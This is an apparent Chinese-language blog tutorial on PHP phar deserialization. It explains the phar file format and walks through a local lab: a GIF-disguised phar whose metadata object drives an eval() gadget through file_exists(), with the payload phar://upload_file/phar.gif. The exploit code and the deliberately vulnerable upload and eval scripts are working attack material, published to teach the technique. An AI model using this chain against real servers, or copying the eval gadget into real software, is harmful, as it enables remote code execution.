phar反序列化
我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
一. PHAR简介
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。
二. PHAR文件结构
Phar文件主要包含三至四个部分:
1. a stub
stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点
3. the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4. a signature for verifying Phar integrity
签名格式
来个小例子
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar.php
1 <?php
2 class TestObject {
3 }
4 $phar = new Phar("phar.phar"); //后缀名必须为phar
5 $phar->startBuffering();
6 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
7 $o = new TestObject();
8 $o -> data='hu3sky';
9 $phar->setMetadata($o); //将自定义的meta-data存入manifest
10 $phar->addFromString("test.txt", "test"); //添加要压缩的文件
11 //签名自动计算
12 $phar->stopBuffering();
13 ?>
访问后,会生成一个phar.phar在当前目录下。
用winhex打开
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
phar_fan.php
1 <?php
2 class TestObject{
3 function __destruct()
4 {
5 echo $this -> data; // TODO: Implement __destruct() method.
6 }
7 }
8 include('phar://phar.phar');
9 ?>
可以看到成功触发了反序列化
三. 漏洞验证
环境准备
upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()
利用条件
phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
文件内容
upload_file.php
1 <?php
2 if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
3 echo "Upload: " . $_FILES["file"]["name"];
4 echo "Type: " . $_FILES["file"]["type"];
5 echo "Temp file: " . $_FILES["file"]["tmp_name"];
6
7 if (file_exists("upload_file/" . $_FILES["file"]["name"]))
8 {
9 echo $_FILES["file"]["name"] . " already exists. ";
10 }
11 else
12 {
13 move_uploaded_file($_FILES["file"]["tmp_name"],
14 "upload_file/" .$_FILES["file"]["name"]);
15 echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
16 }
17 }
18 else
19 {
20 echo "Invalid file,you can only upload gif";
21 }
upload_file.html
1 <body>
2 <form action="http://localhost/phar/upload_file.php" method="post" enctype="multipart/form-data">
3 <input type="file" name="file" />
4 <input type="submit" name="Upload" />
5 </form>
6 </body>
file_un.php
1 <?php
2 $filename=$_GET['filename'];
3 class AnyClass{
4 var $output = 'echo "ok";';
5 function __destruct()
6 {
7 eval($this -> output);
8 }
9 }
10 file_exists($filename);
实现过程
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://
执行代码
构造代码
eval.php
1 <?php
2 class AnyClass{
3 var $output = 'echo "ok";';
4 function __destruct()
5 {
6 eval($this -> output);
7 }
8 }
9 $phar = new Phar('phar.phar');
10 $phar -> stopBuffering();
11 $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
12 $phar -> addFromString('test.txt','test');
13 $object = new AnyClass();
14 $object -> output= 'phpinfo();';
15 $phar -> setMetadata($object);
16 $phar -> stopBuffering();
访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif
进行上传
然后利用file_un.php。
payload:filename=phar://upload_file/phar.gif
参考:https://xz.aliyun.com/t/2715
phar反序列化的更多相关文章
- phar 反序列化学习
前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ...
- php phar反序列化任意执行代码
2018年 原理一.关于流包装stream wrapper大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://例如常见的有include('php:// ...
- Natas33 Writeup(Phar反序列化漏洞)
Natas33: 又是一个上传文件的页面,源码如下: // graz XeR, the first to solve it! thanks for the feedback! // ~morla cl ...
- 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路
概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...
- 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox
太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...
- PHP Phar反序列化学习
PHP Phar反序列化学习 Phar Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件.它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句. 默认开启版 ...
- 谈一谈phar 反序列化
前言 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...
- PHP反序列化漏洞新攻击面(BlackHat 2018)
0x00 前言 入职以来好久没有写过文章了,入职的时间里也和师傅们学到了很多,认识了很多的新朋友.最近因为BlackHat 黑客大会的一个议题,PHP反序列化漏洞利用被挖掘出新的攻击面.这里本着记 ...
- 浅谈PHP反序列化漏洞原理
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...
随机推荐
- 02-多任务-thread
多任务-Thread 一.理解并行与并发 并行:cpu数多于任务数 例如: 一共有三个任务,分别是:QQ.微信.陌陌:一共有四个CPU,每个任务占据一个CPU. 并发:CPU数少于任务数 例如: 一共 ...
- CSS中上下margin的传递和折叠
CSS中上下margin的传递和折叠 1.上下margin传递 1.1.margin-top传递 为什么会产生上边距传递? 块级元素的顶部线和父元素的顶部线重叠,那么这个块级元素的margin-top ...
- Centos使用kafka自带zookeeper安装kafka
首先要安装jdk环境 可以参考:https://www.cnblogs.com/pxblog/p/10512886.html 下载kafka 地址:http://kafka.apache.org/do ...
- 【蓝桥杯】非VIP基础题型训练17题 (Python 题解)
NO.I 基础题型 基础练习汇总 时间 题目 解析 21.12.24 早上 1. A+B问题 练习系统的适应 21.12.24 早上 2. 数组排序 输入输出排序 21.12.24 早上 3. 十六进 ...
- C++基础之虚析构函数原理
结论 虚函数表指针 + 虚函数表 共同实现 演示 VS2017(32位) 基类有析虚构函数 一段代码演示 #include <iostream> #include <memory&g ...
- 【LeetCode】563. Binary Tree Tilt 解题报告(Java & Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 Java解法 Python解法 日期 题目地址:ht ...
- codeforces 624C Graph and String
C. Graph and String time limit per test 2 seconds memory limit per test 256 megabytes input standard ...
- NetCore实现全局模型绑定异常信息统一处理
本文主要讲解NetCore如何使用中间件捕获模型绑定的异常信息 场景 在.NET Core 中请求中,如果参数的类型错误,我们在控制器的定义的方法是不会执行的,当我们需要捕获模型绑定的异常信息时,可以 ...
- Stirling's Formula
目录 Stirling's Formula Keith Conrad. Stirling's Formula. Stirling's Formula \[\lim_{n \rightarrow \in ...
- Practical Black-Box Attacks against Machine Learning
目录 概 主要内容 Jacobian-based Dataset Augmentation Note Papernot N, Mcdaniel P, Goodfellow I, et al. Prac ...